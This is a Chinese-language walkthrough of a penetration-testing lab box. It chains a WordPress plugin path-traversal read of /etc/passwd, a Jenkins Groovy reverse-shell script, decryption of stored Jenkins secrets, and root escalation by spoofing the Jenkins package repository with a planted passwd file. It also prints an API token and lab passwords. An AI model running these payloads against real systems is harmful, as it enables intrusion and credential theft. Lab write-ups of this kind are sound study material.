描述
深入了解不仅仅是典型的漏洞利用
目录
一、信息收集
1.nmap端口扫描
1)nmap -sP 192.168.1.*
找到靶机ip。
2)nmap -sS -v -p- 192.168.1.178
二、漏洞探测&利用
1.初步探测。
1)http://192.168.1.178,查看源码,无有用信息,下载图片,图片正常没有隐藏信息。
2)192.168.1.178:8080,
Jenkins是一个开源软件项目,是基于java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成
功能包括:
- 持续的软件版本发布/测试项目。
- 监控外部调用执行的工作。
3)192.168.1.178:13380 ,一开始无法访问,vim etc/hosts 添加192.167.178 leeroy.htb,访问成功。
这是一个Wordpress站点,MySQL X是MySQL 5.7发布时自带的一个插件。
2.wpscan漏洞扫描。
1)该扫描器可以实现获取Wordpress站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。
同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。
2)使用wpscan需要申请API: https://wpscan.com/profile
3)枚举存在的插件
wpscan --url http://leeroy.htb:13380/ --plugins-detection aggressive --api-token oDsGKnxs3GxqrAYOCb0amvKnQYmKzLJa8jR6kXAu6ok
4)查找到exp
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
未经身份验证的任意文件读取。
三、getshell
1.查看历史命令
发现疑是密码。
使用获取到的账号密码进行登录
用户:admin
密码:z1n$AiWY40HWeQ@KJ53P
2.反弹shell
首先进入管理界面,然后进入编辑脚本界面,进入编辑页面知道这是一个执行groovy的页面,可以使用该语言反弹shell
String host="localhost";
int port=4444;
String cmd="bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
使用nc监听成功反弹shell,获取交互式shell
nc -lvp 4444
python3 -c "import pty;pty.spawn('/bin/bash')"
四、提权
1.进入home目录下
,查看能都获取有用信息
查看user.txt发现没有权限
2.查看 /etc/passwd
,发现jenkins
进入该目录查看credentials.xml获取新的用户与密码
3.密码是hash值需要破解
AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx
通过google查找jenkins的到解密需要的语句
println( hudson.util.Secret.decrypt("{AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx}") )
用户:leeroy
密码:ew3@PHQiX2RtP1ra!GZs
4.通过su命令切换到leeroy用户,
查看之前无法查看的user.txt,给了一串加密字符但是我没有破解出来,
使用sudo -l 查看是否存在可利用的信息,
进入目录查看jenkins_installer文件。
这是一个jenkins的安装过程,可以通过这个方式写入自己的用户与密码并将该用户设置为root权限
查看hosts文件并将kali的地址写入到hosts文件中,因为在执行命令更新的内容需要从kali中下载更新
通过ls命令发现需要jenkins权限进行查看
5.开启HTTPS服务
1)将kali的地址写入到文件中,并添加添加Jenkins存储库
echo "192.168.1.179 pkg.jenkins.io" >> /var/lib/jenkins/hosts
2)为了使Jenkins服务器正常运行,需要配置Apache2(HTTPS服务开启失败!秃头)
cd /etc/apache2/sites-available/
vi default-ssl.conf
根据输入的内容创建所需要的目录/opt/vulnub/debain-stable/binary/
使用touch命令编辑passwd文件
将lerroy中的passwd内容复制到我们要编辑的文件中,并在文件中添加自己创建的用户,待更新成功后执行自己写入的命令就可以获取root权限了
3)使用命令生成密码
mkpasswd -m sha-512 使用mkpasswd 512命令生成密码
这里我设置的密码是1qaz@WSX
vim passwd
将写好的passwd文件存入到jenkins_2.222.3_all.deb,并将改文件移动到 /opt/vulnub/debain-stable/binary/目录下
4)操作成功后开启apache2服务
systemctl start apache2
5)进入leeroy用户执行命令进行提权
sudo /usr/share/jenkins/jenkins_installer /etc/passwd
五、总结
- wpscan 漏扫工具 Wordpress站点
wpscan --url http://leeroy.htb:13380/ --plugins-detection aggressive --api-token oDsGKnxs3GxqrAYOCb0amvKnQYmKzLJa8jR6kXAu6ok
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
println(hudson.util.Secret.fromString("{XXXX=}").getPlainText())
println(hudson.util.Secret.decrypt("{xxxx=}"))
- groovy的页面,可以使用该语言反弹shell
String host="localhost";
int port=4444;
String cmd="bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
- HTTPS服务开启(开启失败!)